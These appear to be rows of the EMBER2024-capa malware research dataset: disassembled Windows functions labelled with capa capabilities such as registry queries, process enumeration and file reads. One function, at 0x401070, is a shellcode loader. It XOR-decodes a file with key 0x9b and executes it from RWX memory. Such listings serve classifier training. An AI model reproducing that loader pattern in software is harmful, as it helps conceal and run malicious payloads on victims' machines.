joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4226e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x418
mov eax, dword [0x43aae0]
xor eax, esp
push ebx
push esi
push edi
push 0x104
lea edx, [esp + 0x1c]
mov dword [esp + 0x424], eax
mov eax, dword [str..ini]
mov ebx, ecx
mov cl, byte [0x42dcb0]
push edx
push 0
mov dword [esp + 0x1c], eax
mov byte [esp + 0x20], cl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [esp + 0x224]
push eax
lea ecx, [esp + 0x328]
push ecx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.MSVCR71.dll__splitpath]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x238]
push edx
lea eax, [esp + 0x33c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.MSVCR71.dll__makepath]
add esp, 0x28
push 0x104
lea eax, [esp + 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [esp + 0x11c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x422783
mov cx, word [0x42d99c]
lea eax, [esp + 0x220]
mov word [edi], cx
mov edx, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4227a0
lea edi, [esp + 0x11c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4227b1
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4227d0
lea edi, [esp + 0x11c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4227e3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea edx, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edx
call esi
cmp eax, 0xffffffff
jne 0x42281a
lea eax, [esp + 0x11c]
push eax
call esi
cmp eax, 0xffffffff
jne 0x422835
mov ecx, dword [ebx + 0x68]
push ecx
call dword [sym.imp.MSVCR71.dll_free]
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.MSVCR71.dll__strdup]
add esp, 8
mov dword [ebx + 0x68], eax
mov ecx, dword [esp + 0x420]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0042708e
add esp, 0x418
ret
Function at 0x422850
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42b03c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x140
mov eax, dword [0x43aae0]
xor eax, ebp
mov edx, ecx
push edi
mov dword [esp + 0x13c], eax
xor eax, eax
mov ecx, 0x41
mov edi, 0x43c138
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov eax, dword [edx + 0x4f0]
test eax, eax
lea ecx, [edx + 0x4f0]
je 0x4228d3
lea eax, [esp + 0x14]
push eax
call fcn.004018f0
mov ecx, dword [eax]
lea edx, [esp + 0x30]
jmp 0x4228c0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4228c0
lea ecx, [esp + 0x14]
jmp 0x4229e3
mov edx, dword [0x42ed40]
mov eax, dword [0x42ed44]
mov ecx, dword [0x42ed3c]
mov dword [esp + 0x24], edx
lea edx, [esp + 0xc]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
mov ecx, dword [0x42ed48]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jl 0x4229e9
push str.CLSID_
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT_2]
mov ecx, dword [esp + 0xc]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0x150], 0
call dword [0x42c574]
push str.LocalServer32
lea ecx, [esp + 0xc]
call dword [0x42c448]
mov eax, dword [esp + 8]
lea edx, [esp + 0x10]
push edx
push 0x20019
push 0
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4229c9
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x20]
push eax
push 0
push 0x42d94e
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4229be
lea edx, [esp + 0x30]
push 0x20
push edx
call dword [sym.imp.MSVCR71.dll_strrchr]
add esp, 8
test eax, eax
je 0x4229be
mov byte [eax], 0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [esp + 0x14c], 0xffffffff
lea ecx, [esp + 8]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
mov al, byte [esp + 0x30]
test al, al
je 0x422a03
lea edx, [esp + 0x30]
push 0x43c138
push edx
call sym.DxDrouterLink.exe_int___cdecl_FindIniFile_char_const___char__
add esp, 8
mov al, byte [0x43c138]
test al, al
jne 0x422a1c
push 2
push 0x66
call fcn.00422120
add esp, 8
xor eax, eax
jmp 0x422a21
mov eax, 1
mov ecx, dword [esp + 0x144]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x13c]
xor ecx, ebp
pop edi
call fcn.0042708e
mov esp, ebp
pop ebp
ret
Function at 0x422b40
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x110
mov eax, dword [0x43aae0]
mov ecx, dword [str.WDIR]
xor eax, esp
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x114]
push ebx
push ecx
mov dword [esp + 0xc], eax
xor ebx, ebx
call dword [sym.imp.MSVCR71.dll_getenv]
add esp, 4
test eax, eax
je 0x422c1b
push edi
push eax
call dword [sym.imp.MSVCR71.dll__strdup]
push 0x42ee8c
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.MSVCR71.dll_strtok]
mov edi, eax
add esp, 0xc
test edi, edi
je 0x422c0c
push ebp
mov ebp, dword [sym.imp.MSVCR71.dll__makepath]
push esi
test ebx, ebx
jne 0x422c0a
mov esi, 0x43a9b4
lea esp, [esp]
test ebx, ebx
jne 0x422bf4
mov edx, dword [esi]
push ebx
push edx
push edi
lea eax, [esp + 0x24]
push ebx
push eax
call ebp
lea ecx, [esp + 0x2c]
push ebx
push ecx
call dword [sym.imp.MSVCR71.dll__access]
add esp, 0x1c
cmp eax, 0xffffffff
je 0x422be9
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
call dword [0x42c2e0]
mov ebx, 1
add esi, 4
cmp esi, 0x43a9c4
jl 0x422bb0
push 0x42ee8c
push 0
call dword [sym.imp.MSVCR71.dll_strtok]
mov edi, eax
add esp, 8
test edi, edi
jne 0x422ba3
pop esi
pop ebp
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.MSVCR71.dll_free]
add esp, 4
pop edi
mov ecx, dword [esp + 0x110]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0042708e
add esp, 0x110
ret 4
Function at 0x422eb0
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x111c
call fcn.00427020
mov eax, dword [0x43aae0]
xor eax, esp
push edi
mov dword [esp + 0x111c], eax
lea eax, [esp + 0x10]
push eax
push 0x1000
lea ecx, [esp + 0x20]
xor edi, edi
push ecx
mov dword [esp + 0x10], edi
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x422ef6
mov eax, dword [esp + 0x10]
shr eax, 2
cmp eax, edi
mov dword [esp + 8], eax
jne 0x422f0e
xor eax, eax
pop edi
mov ecx, dword [esp + 0x1118]
xor ecx, esp
call fcn.0042708e
add esp, 0x111c
ret
cmp eax, edi
push ebx
push ebp
push esi
jbe 0x422fb2
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.MSVCR71.dll__stricmp]
mov edx, dword [esp + edi*4 + 0x24]
push edx
push 0
push 0x410
call ebp
mov esi, eax
test esi, esi
je 0x422fa5
lea eax, [esp + 0x20]
push eax
push 4
lea ecx, [esp + 0x20]
push ecx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x422fa5
mov eax, dword [esp + 0x18]
push 0x104
lea edx, [esp + 0x1028]
push edx
push eax
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
lea ecx, [esp + 0x1024]
push str.ViewDrawLink.exe
push ecx
call ebx
add esp, 8
test eax, eax
je 0x422f93
lea edx, [esp + 0x1024]
push str.ViewDrawLinkD.exe
push edx
call ebx
add esp, 8
test eax, eax
jne 0x422f97
inc dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10], 2
jge 0x422fcd
mov eax, dword [esp + 0x14]
inc edi
cmp edi, eax
jb 0x422f25
xor eax, eax
mov ecx, dword [esp + 0x1128]
pop esi
pop ebp
pop ebx
pop edi
xor ecx, esp
call fcn.0042708e
add esp, 0x111c
ret
mov eax, 1
jmp 0x422fb4

Function at 0x424120
Capabilities:
Read .ini file

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
mov byte [0x43cb10], 0
je 0x42416d
cmp byte [ecx], 0
je 0x42416d
mov eax, dword [esp + 8]
test eax, eax
je 0x42416d
cmp byte [eax], 0
je 0x42416d
push esi
mov esi, dword [esp + 0x10]
push 0x43c138
push 0x104
push 0x43cb10
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
ja 0x424166
mov eax, esi
pop esi
ret
mov eax, 0x43cb10
pop esi
ret
mov eax, dword [esp + 0xc]
ret

Function at 0x424480
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x10
mov edx, dword [esp + 0x14]
push edi
xor eax, eax
mov ecx, 0x11
mov edi, 0x43ce18
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 4]
push eax
push 0x43ce18
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
push 0
mov dword [0x43ce18], 0x44
mov word [0x43ce48], 0xa
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
jne 0x4244dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x10
ret 8
xor eax, eax
add esp, 0x10
ret 8
Function at 0x4244f0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x718
mov eax, dword [0x43aae0]
xor eax, esp
push ebp
push esi
mov esi, dword [esp + 0x724]
push 0x42f24c
push esi
mov dword [esp + 0x724], eax
call dword [sym.imp.MSVCR71.dll_sprintf]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 8
lea eax, [esp + 8]
push eax
push str..htm
push 0x80000000
mov dword [esp + 0x1c], 0xff
call ebp
test eax, eax
jne 0x424722
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x24]
push eax
push 0
push 0x42d94e
push ecx
call ebx
test eax, eax
jne 0x42471b
mov edx, dword [esp + 0x14]
push edi
lea edi, [esp + 0x24]
mov byte [esp + edx + 0x24], al
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x424580
mov eax, dword [str._shellopencommand]
mov ecx, dword [0x42f234]
mov edx, dword [0x42f238]
mov dword [edi], eax
mov eax, dword [0x42f23c]
mov dword [edi + 4], ecx
mov ecx, dword [0x42f240]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x28]
push eax
push 0x80000000
mov dword [edi + 0x10], ecx
mov dword [esp + 0x28], 0xff
call ebp
test eax, eax
pop edi
jne 0x4246f6
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x124]
push edx
lea eax, [esp + 0x24]
push eax
push 0
push 0x42d94e
push ecx
call ebx
test eax, eax
jne 0x4246e0
mov edx, dword [esp + 0x18]
mov byte [esp + edx + 0x120], al
lea eax, [esp + 0x620]
push eax
lea ecx, [esp + 0x324]
push ecx
lea edx, [esp + 0x528]
push edx
lea eax, [esp + 0x42c]
push eax
lea ecx, [esp + 0x130]
push ecx
call dword [sym.imp.MSVCR71.dll__splitpath]
mov al, byte [esp + 0x134]
add esp, 0x14
cmp al, 0x22
jne 0x42466a
push str..exe_
lea edx, [esp + 0x324]
push edx
lea eax, [esp + 0x528]
push eax
lea ecx, [esp + 0x42c]
push ecx
lea edx, [esp + 0x230]
push edx
jmp 0x42468f
push str..exe
lea eax, [esp + 0x324]
push eax
lea ecx, [esp + 0x528]
push ecx
lea edx, [esp + 0x42c]
push edx
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.MSVCR71.dll__makepath]
lea eax, [esp + 0x234]
mov edx, esi
mov ecx, eax
add esp, 0x14
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4246a5
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
mov eax, dword [esp + 0xc]
push eax
call esi
pop ebx
pop esi
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x714]
xor ecx, esp
call fcn.0042708e
add esp, 0x718
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
jmp 0x424701
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x714]
xor ecx, esp
call fcn.0042708e
add esp, 0x718
ret
mov ecx, dword [esp + 0xc]
push ecx
jmp 0x4246fb
mov ecx, dword [esp + 0x71c]
pop esi
pop ebp
xor ecx, esp
xor eax, eax
call fcn.0042708e
add esp, 0x718
ret
Function at 0x424780
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x40
mov eax, dword [0x43aae0]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [0x43ce64]
push edi
xor edi, edi
cmp eax, edi
je 0x4247ad
xor ax, ax
pop edi
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0042708e
add esp, 0x40
ret
push esi
push str.powerpcb.mdb
push edi
call fcn.004241f0
mov esi, eax
push 0x42f264
push esi
call dword [sym.imp.MSVCR71.dll_fopen]
add esp, 0x10
cmp eax, edi
mov dword [0x43ce68], eax
jne 0x4247f7
push esi
push str.Failed_to_open:__s_n
call dword [sym.imp.MSVCR71.dll_printf]
add esp, 8
pop esi
or ax, 0xffff
pop edi
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0042708e
add esp, 0x40
ret
push eax
push 1
lea eax, [esp + 0x18]
push 0x10
push eax
call dword [sym.imp.MSVCR71.dll_fread]
movsx ecx, word [esp + 0x24]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
lea ecx, [eax + eax*2]
shl ecx, 2
push ecx
mov dword [0x43ce60], eax
call sub.MFC71.DLL_operator_new
mov ecx, dword [0x43ce60]
add esp, 0x14
cmp ecx, edi
mov dword [0x43ce64], eax
jle 0x42484c
nop
mov dword [eax], 0xffffffff
add eax, 0xc
dec ecx
jne 0x424840
cmp word [esp + 0x14], di
mov dword [esp + 0xc], edi
mov dword [0x43ce5c], edi
jle 0x42494a
push ebx
mov dword [esp + 0xc], 0xe
push ebp
jmp 0x424870
mov edx, dword [esp + 0x10]
mov eax, dword [0x43ce68]
push 0
push edx
push eax
call dword [sym.imp.MSVCR71.dll_fseek]
mov ecx, dword [0x43ce68]
push ecx
push 1
lea edx, [esp + 0x3c]
push 0x24
push edx
call dword [sym.imp.MSVCR71.dll_fread]
movsx eax, word [esp + 0x36]
mov ecx, dword [esp + 0x48]
lea edx, [esp + 0x54]
lea eax, [eax + eax*8]
push edx
lea ebp, [ecx + eax*4 + 0xe]
call dword [sym.imp.MSVCR71.dll_atoi]
mov ebx, dword [0x43ce60]
mov esi, eax
add esp, 0x20
xor edi, edi
test esi, esi
mov ecx, esi
je 0x4248dd
lea eax, [edi + ecx*2]
add eax, ecx
cdq
idiv ebx
lea eax, [ecx + ecx*4]
mov edi, edx
cdq
idiv ebx
mov ecx, eax
test ecx, ecx
jne 0x4248c7
mov ecx, dword [0x43ce64]
lea eax, [edi + edi*2]
mov edx, edi
cmp dword [ecx + eax*4], 0xffffffff
je 0x4248ff
mov edi, edi
lea eax, [edx + 1]
cdq
idiv ebx
lea eax, [edx + edx*2]
cmp dword [ecx + eax*4], 0xffffffff
jne 0x4248f0
lea edx, [edx + edx*2]
lea ecx, [ecx + edx*4]
mov dword [ecx], esi
mov dword [ecx + 4], ebp
mov eax, dword [esp + 0x30]
cdq
mov edi, 0xff
idiv edi
cmp esi, dword [0x43ce5c]
mov byte [ecx + 8], dl
jle 0x424927
mov dword [0x43ce5c], esi
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
movsx ecx, word [esp + 0x1c]
inc eax
add esi, 0x24
cmp eax, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], esi
jl 0x424870
pop ebp
pop ebx
mov ecx, dword [esp + 0x44]
pop esi
pop edi
xor ecx, esp
xor ax, ax
call fcn.0042708e
add esp, 0x40
ret
Function at 0x4249f0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [0x43d000]
inc eax
cmp eax, 5
mov dword [0x43d000], eax
jne 0x424a0a
mov dword [0x43d000], 0
push ebx
mov ebx, dword [esp + 8]
call fcn.004249a0
test eax, eax
pop ebx
jge 0x424a2e
mov eax, dword [0x43d000]
lea eax, [eax + eax*4]
shl eax, 4
lea eax, [eax + 0x43ce70]
mov byte [eax], 0
ret
mov edx, dword [0x43ce68]
push esi
lea esi, [eax + eax*2]
mov eax, dword [0x43ce64]
push edi
shl esi, 2
mov ecx, dword [esi + eax + 4]
push 0
push ecx
push edx
call dword [sym.imp.MSVCR71.dll_fseek]
mov eax, dword [0x43ce68]
mov ecx, dword [0x43ce64]
movzx edx, byte [esi + ecx + 8]
push eax
mov eax, dword [0x43d000]
lea eax, [eax + eax*4]
push 1
shl eax, 4
push edx
add eax, 0x43ce70
push eax
call dword [sym.imp.MSVCR71.dll_fread]
mov eax, dword [0x43d000]
lea edx, [eax + eax*4]
add esp, 0x1c
shl edx, 4
lea esi, [edx + 0x43ce70]
mov ecx, esi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424a93
sub ecx, edi
cmp byte [edx + ecx + 0x43ce6f], 0x24
mov eax, esi
jne 0x424ab0
mov byte [edx + ecx + 0x43ce6f], 0
pop edi
pop esi
ret
Function at 0x4273ae
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x42f6d0
call fcn.004275b0
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x4273ee
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4273ee
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x427406
cmp eax, 0x20b
je 0x4273f3
mov dword [ebp - 0x1c], ebx
jmp 0x42741a
cmp dword [ecx + 0x84], 0xe
jbe 0x4273ee
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x427414
cmp dword [ecx + 0x74], 0xe
jbe 0x4273ee
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x43d170], 0xffffffff
or dword [0x43d174], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x43d128]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x43d124]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x43d16c], eax
call fcn.004276d2
call fcn.0042777b
cmp dword [0x43aafc], ebx
jne 0x42747a
push 0x427778
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00427760
push 0x43a06c
push 0x43a068
call sub.MSVCR71.dll__initterm
push 0x427716
call fcn.00427286
mov eax, dword [0x43d120]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x43d11c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x4274ce
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x43a064
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x42754c
cmp al, bl
je 0x4274f8
cmp dword [ebp - 0x20], ebx
jne 0x42754c
mov al, byte [esi]
cmp al, bl
je 0x427508
cmp al, 0x20
ja 0x427508
inc esi
mov dword [ebp - 0x24], esi
jmp 0x4274f8
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x427524
movzx eax, word [ebp - 0x54]
jmp 0x427527
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.0042825e
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x427544
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x4275a1
cmp al, 0x22
jne 0x42755b
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x42756e
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x4274e6
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.004275eb
ret
Function at 0x401070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xf40bc
call fcn.00438c00
mov eax, dword [0x463b10]
xor eax, esp
mov dword [esp + 0xf40b8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, ecx
call ebx
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x4010ef
xor byte [esp + eax + 0x14], 0x9b
inc eax
cmp eax, esi
jb 0x4010e5
push 0x40
push 0x3000
push 0xf40b0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xf40b0
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.00437430
add esp, 0xc
call dword [0x467a04]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x467aac]
test eax, eax
je 0x401166
push 0xffffffffffffffff
push ebx
call dword [0x467ab0]
test eax, eax
je 0x401166
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.00437795
add esp, 8
mov ecx, dword [esp + 0xf40c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004370af
add esp, 0xf40bc
ret

Function at 0x401180
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x463b10]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x23
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test eax, eax
je 0x4011c4
push ebx
push 0x456c20
jmp 0x4011df
lea eax, [esp + 8]
lea edx, [eax + 1]
jmp 0x4011d0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4011d0
sub eax, edx
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00401830
mov ecx, dword [esp + 0x10c]
pop ebx
xor ecx, esp
mov eax, esi
call fcn.004370af
add esp, 0x10c
ret
Function at 0x401200
Capabilities:
Copy file

Disassembly:
push 0xffffffffffffffff
push 0x44c581
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x463b10]
xor eax, esp
mov dword [esp + 0x164], eax
push ebx
push esi
push edi
mov eax, dword [0x463b10]
xor eax, esp
push eax
lea eax, [esp + 0x178]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x74]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
cmp eax, ebx
jle 0x401271
mov cl, 0x5c
nop
cmp byte [esp + eax + 0x70], cl
je 0x40126d
dec eax
cmp eax, ebx
jg 0x401260
jmp 0x401271
mov byte [esp + eax + 0x71], bl
mov al, 0x65
mov byte [esp + 0x65], al
mov byte [esp + 0x69], al
mov al, 0x74
lea edx, [esp + 0x64]
mov byte [esp + 0x6b], al
mov byte [esp + 0x6d], al
push edx
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x6c], 0x72
mov byte [esp + 0x6e], 0x61
mov byte [esp + 0x6f], 0x64
mov byte [esp + 0x70], 0x6d
mov byte [esp + 0x72], 0x2e
mov byte [esp + 0x74], 0x78
mov byte [esp + 0x76], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [esp + 0x10]
call fcn.00401180
push eax
mov edi, 0x4569c4
lea esi, [esp + 0x30]
mov dword [esp + 0x184], ebx
call fcn.00401b70
push eax
lea edi, [esp + 0x6c]
lea esi, [esp + 0x50]
mov byte [esp + 0x188], 1
call fcn.00401b70
add esp, 8
mov esi, 0x10
cmp dword [esp + 0x44], esi
jb 0x401307
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004024cb
add esp, 4
mov edi, 0xf
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov byte [esp + 0x180], 4
cmp dword [esp + 0x28], esi
jb 0x401333
mov edx, dword [esp + 0x14]
push edx
call fcn.004024cb
add esp, 4
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
cmp dword [esp + 0x60], esi
jae 0x40134d
lea eax, [esp + 0x4c]
push ebx
push eax
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x70]
call fcn.00401070
cmp dword [esp + 0x60], esi
jb 0x401376
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.004024cb
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x178]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.004370af
add esp, 0x174
ret

Function at 0x401e40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00406b66